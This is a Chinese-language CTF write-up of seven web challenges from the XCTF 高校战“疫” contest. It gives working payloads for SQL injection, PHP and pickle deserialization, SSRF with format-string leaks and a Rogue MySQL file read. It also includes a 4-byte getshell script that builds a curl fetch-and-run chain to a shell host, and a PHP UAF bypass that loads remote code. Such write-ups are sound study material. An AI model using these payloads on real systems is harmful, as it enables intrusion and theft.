XCTF 高校战“疫”网络安全分享赛 WEB_WP

文章目录

  • XCTF 高校战“疫”网络安全分享赛
    • easy_trick_gzmtu
    • webtmp
    • hackme
    • fmkq
    • PHP-UAF
    • nweb
    • sqlcheckin

XCTF 高校战“疫”网络安全分享赛

easy_trick_gzmtu

  • 首先说一下这个题的脑洞确实强
  • 打开题目后,是一个好看的博客,源码里提示?time=Y或者?time=2020

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第1张图片

  • 测试的存在盲注,但是当构造payload的时候,一直是500,猜测是后端对提交的数据进行了过滤,试了n种姿势,都fuzz不出来,想了好久,最后才发现是,每个字符前加上\就行了(orzzzzzzzzzz
  • 接下来就是盲注脚本一把梭
  • 爆出的最后数据如下
数据库名:trick
表名:admin,content
列名:id,username,passwd,url,id,content,createtime
admin表内容:
	username:admin
	password:20200202goodluck  //goodluck个锤子
	url:/eGlhb2xldW5n
  • 发现了另一个链接,套娃。。。。。
  • 访问后,发现是要登陆的,用爆出来的登陆一下

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第2张图片

  • 发现可以读取文件
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第3张图片
  • 在源码里又发现提示:
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第4张图片
  • 尝试读一下,回显:请从本地访问
  • 本来以为是XFF之类的头部伪造,后来才发现想错了(给的提示就有歧义
  • 使用file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php(用127.0.0.1好像也不行,后来读了源码才知道,后台只写了localhost,有点崩溃
  • 读出的eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php



class trick{
	public $gf;
	public function content_to_file($content){	
		$passwd = $_GET['pass'];
		if(preg_match('/^[a-z]+\.passwd$/m',$passwd)) 
	{ 

		if(strpos($passwd,"20200202")){
			echo file_get_contents("/".$content);

		}

		 } 
		}
	public function aiisc_to_chr($number){
		if(strlen($number)>2){
		$str = "";
		 $number = str_split($number,2);
		 foreach ($number as $num ) {
		 	$str = $str .chr($num);
		 }
		 return strtolower($str);
		}
		return chr($number);
	}
	public function calc(){
		$gf=$this->gf;
		if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
		  	eval('$content='.$gf.';');
		  	$content =  $this->aiisc_to_chr($content); 
		  	return $content;
		}
	}
	public function __destruct(){
        $this->content_to_file($this->calc());
        
    }
	
}
unserialize((base64_decode($_GET['code'])));

?>
  • 再读一下他的check文件

include("../conn.php");
if(empty($_SESSION['login'])){
	die('请登录!');
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    die('请从本地访问');
}

	if(!preg_match("/flag|fl|la|ag|fla|lag|log/is", $parts['path'])){
		readfile($url);
	}else{
		die('不要搞这些奇奇怪怪的东西。');
	}
}
?>
  • 再看下他的index.php界面是怎么设计的,用了data函数,果然…

include('conn.php');
error_reporting(0);
$time = date($_GET['time']);
$sql = "select * from `content` where `createtime` = '$time' ";
$r = $conn->query($sql);
$content = $r->fetch_array(MYSQL_ASSOC);

?>
  • 代码审计后,知道在eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php文件里有一个反序列化+无字母代码执行,给contents赋值flag(还有个检查pass参数的,那就是为出题而出题了
  • 部分payload脚本
>>> a = '/TMP/../FLAG'
>>> s = ''
>>> for i in a:
...     s+=str(ord(i))
...
>>> print(s)
47847780474646477076657
$tmp = new trick();
$tmp->gf='~'.(~'478477804746464770766571');
echo serialize($tmp);
echo "
"
; echo base64_encode(serialize($tmp));
  • 最终payload:code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyNToifsvIx8vIyMfPy8jLycvJy8jIz8jJycrIziI7fQ &pass=a.passwd%0a20200202

webtmp

  • 查到了一个类似的题目,是SUCTF的guessgame
  • 部分源码如下
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name}, category={self.category})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        print(name)
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return "result={}\npickle_data={}\ngiveflag={}\n".format(result, pickle_data, correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"
  • 找到当时的wp详解
  • 思路是构造一个payload,使secret的属性被覆盖
  • 感觉手工工造太麻烦了,没想到最后朋友构造出来了tqllllllllllll
  • 这是他的payload
\x80\x03
c__main__\nsecret\nN(S'name'\nS'aaa'\nd\x86b
c__main__\nsecret\nN(S'category'\nS'bbb'\nd\x86b
c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00aaaq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00bbbq\x06ub.

hackme

  • 给出了源码,下载下来审计,发现了有session反序列化的操作
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第5张图片
  • 其中core文件夹下的只有管理员才能有权限访问,在本地调试了一下,发现更新签名处有一处利用点,于是构造payload:|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"wuhu";}
  • 访问core
  • 源码如下:


require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}
  • 考点是四字节getshell和data协议的利用

  • 四字节getshell参考hitcon2017

  • data协议用compress.zlib://data:@127.0.0.1/plain;base64,

  • 解题payload(python2

import requests as r
from time import sleep
import random
import hashlib
import base64

# 
shell_ip = ''
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in shell_ip.split('.')])
pos0 = 'e'
pos1 = 'h'
pos2 = 'g' 
payload = [
    '>dir',
    '>%s\>' % pos0,
    '>%st-' % pos1,
    '>sl',
    '*>v',
    '>rev',
    '*v>%s' % pos2,
    '>p',
    '>ph\\',
    '>1.\\',
    '>\>\\',
    '>%s\\' % ip[8:10],
    '>%s\\' % ip[6:8],
    '>%s\\' % ip[4:6],
    '>%s\\' % ip[2:4],
    '>%s\\' % ip[0:2],
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh ' + pos2,
    'sh ' + pos0,
]
tmp = '''POST /core/ HTTP/1.1
Host: http://121.36.222.22:88
Content-Length: 77
Pragma: no-cache
Cache-Control: no-cache
Origin: http://121.36.222.22:88
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://121.36.222.22:88/core/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: PHPSESSID=1d2e6a8747522dab247fccdeb1283a75
Connection: close

url=compress.zlib%3A%2F%2Fdata%3A%40127.0.0.1%2Fplain%3Bbase64%2C{}
'''

# |O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:4:"ssss";}
# rm * cm0gKg==
import hackhttp
hh = hackhttp.hackhttp()
for i in payload:
    print(base64.b64encode(i).replace('+',"%2b").replace("=","%3D"))
    data = tmp.format(base64.b64encode(i).replace('+',"%2B").replace("=","%3D"))
    code, head, html, redirect, log = hh.http('http://121.36.222.22:88/core/', raw=data)
    print html
  • 连接shell,获得flag

fmkq

  • 这个题是最绕的
  • 队里的师傅们刚开始就做到了读8080端口,所以我承接他们继续做的
  • 首先源码是

error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
    $begin = "The number you want: ";
    extract($_GET);
    if($head == ''){
        die('Where is your head?');
    }
    if(preg_match('/[A-Za-z0-9]/i',$head)){
        die('Head can\'t be like this!');
    }
    if(preg_match('/log/i',$url)){
        die('No No No');
    }
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
        die('Don\'t use strange protocol!');
    }
    $funcname = $head.'curl_init';

    $ch = $funcname();
    if($ch){
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
    }
    else{
        $output = 'rua';
    }
    echo sprintf($begin.'%d',$output);
}
else{
    show_source(__FILE__);
}
  • 一个典型的SSRF题,师傅们的思路是:

head=\ 能正常curl
begin=%1$s 使输出结果有回显
url=http://127.0.0.1:8080

  • 读取8080端口回显如下:

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第6张图片

  • 刚开始的时候有被迷惑,最后别人提醒才发现是python写的api

  • 用到的有{file},所以猜测存在格式化字符串漏洞

  • 构造payload?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__}%26vipcode=0

  • 测得存在格式化字符串漏洞,且发现vip的相关信息
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第7张图片

  • 再构造payload,读取vip的属性{file.__class__.__init__.__globals__[vip].__init__.__globals__}

  • 读出vipcode
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第8张图片

  • 此时本以为能直接尝试读取flag,目录是fl4g_1s_h3re_u_wi11_rua,但是回显:目录是一个秘密目录

  • 于是先读一下源码:/app/base/vip.py/app/base/readfile.py

  • readfile.py中发现重要信息
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第9张图片

  • 可见对fl4g进行了过滤,想到了用格式化字符串截取一个f出来:payload{file.__class__.__init__.__globals__[__name__][9]}

  • 但是依然报错,再次审计源码,发现已经换成了{vipfile},所以换成{vipfile.__class__.__init__.__globals__[__name__][9]}即可

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第10张图片

PHP-UAF

  • 打开题目后,查看源码如下:


$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (isset($_REQUEST['cmd'])) {
    @eval($_REQUEST['cmd']);
}

highlight_file(__FILE__);
  • 给每个用户建立一个自己的文件夹

  • 然后切换到自己的文件夹目录下

  • 可以传入cmd进行代码执行

  • 传入cmd=phpinfo();,查看phpinfo相关信息

  • 禁用了能执行系统命令的函数

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第11张图片

  • 以及open_basedir

在这里插入图片描述

  • 试了下以前的几个轮子,发现都不能行了,于是尝试找找新的脚本
  • google和github一下php uaf apache
  • 可以找到好多,最后用的脚本是:php7-backtrace-bypass,一番修改,把pwn("uname -a")改为pwn($_GET['pass'])
  • 从远程服务器copy到题目环境中,这里直接copy到/tmp目录下,copy("http://ip/1.txt","/tmp/233.php")因为在自己的文件夹下会被定时删除
  • 传入?cmd=include("/tmp/233.php");&pass=ls /进行命令执行,查看目录
  • 传入?cmd=include("/tmp/233.php");&pass=/readflag,读取flag

nweb

  • 打开链接,是一个登录界面,有一个注册链接,同时目录扫描了一下,发现admin.html 和admin.php
  • 随便注册一个rdd rdd,就可以登录,有一个flag界面,但是点击显示You don't have permission to
    XCTF 高校战“疫”网络安全分享赛 WEB_WP_第12张图片
  • 在这个界面里给出几点信息

源码泄露直接拿到flag

注册的用户也有等级之分哦

flag.php里没有flag!!!

  • 源码应该看一下

  • 注册的时候,应该注册一个高等级的

  • flag.php里绝对有flag

  • 但是题目没有给出源码,就尝试看一下html源码

  • 在注册界面中发现有type参数,并且有的提示

  • F12修改元素,提交一下(也可以bp抓包改),注册一个高等级的用户

  • 再用新的用户登陆,即可访问flag界面

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第13张图片

  • 有个搜索框,猜测存在注入

  • 输入1,回显:There is no flag............

  • 输入1’ or 1=1#,回显There is flag!

  • 判断存在盲注

  • 脚本跑出数据库名:ctf-2

  • 在跑其他数据时,发现出了点问题,经过一番fuzz后,得出select和from需要双写绕过

  • 接下来继续构造payload读表名,列名

表名:admin,fl4g,jd,user
列名:username,pwd,qq,flag,number,submission_date,shifumoney,money,truemoney,zhuangtai,bangding,beizhu,username,pwd,tupian

  • 最终获取flag的payload:base2 = "flag=1'or ascii(substr((selselectect flag frfromom fl4g),{},1))>{}%23"
  • 结果:

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第14张图片

  • 只跑出了一半的flag,但是前半段给出了提示Rogue-MySql-Server,搜索一下发现存在任意文件读取漏洞。

  • 找不到利用点,这时想到了前面扫到的admin.html,也是一个登陆框

  • 在刚刚的盲注中,爆出的有个admin表,于是报下内容,得出用户名和密码:admin e2ecea8b80a96fb07f43a2f83c8b0960,密码MD5解密一下是:whoamiadmin

  • 登陆后,跳转到admin.php,发现可以利用Rogue-MySql-Server的洞

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第15张图片

  • 在网上找了下脚本,github有开源的,但是不知道为什么读不出来,于是自己找了个野脚本,修改端口,修改要读的文件为flag.php(前面提示的flag.php不可能有flag,所以flag.php肯定有flag

  • 最后的结果如下

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第16张图片

  • flag拼接一下:flag{Rogue-MySql-Server-is-nday}

sqlcheckin

  • 这题。。。。。被队友秒了
  • 我再研究一下发现没什么思路
  • 后来问一下Y1NG师傅(师傅博客-----强烈推荐收藏)

XCTF 高校战“疫”网络安全分享赛 WEB_WP_第17张图片

  • 题目给出的代码:
 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // ....
  • 搜了一下,是一道原题,链接
  • 真的是奇怪的知识。。直接admin '-0-'登陆就回显flag了

你可能感兴趣的:(CTF)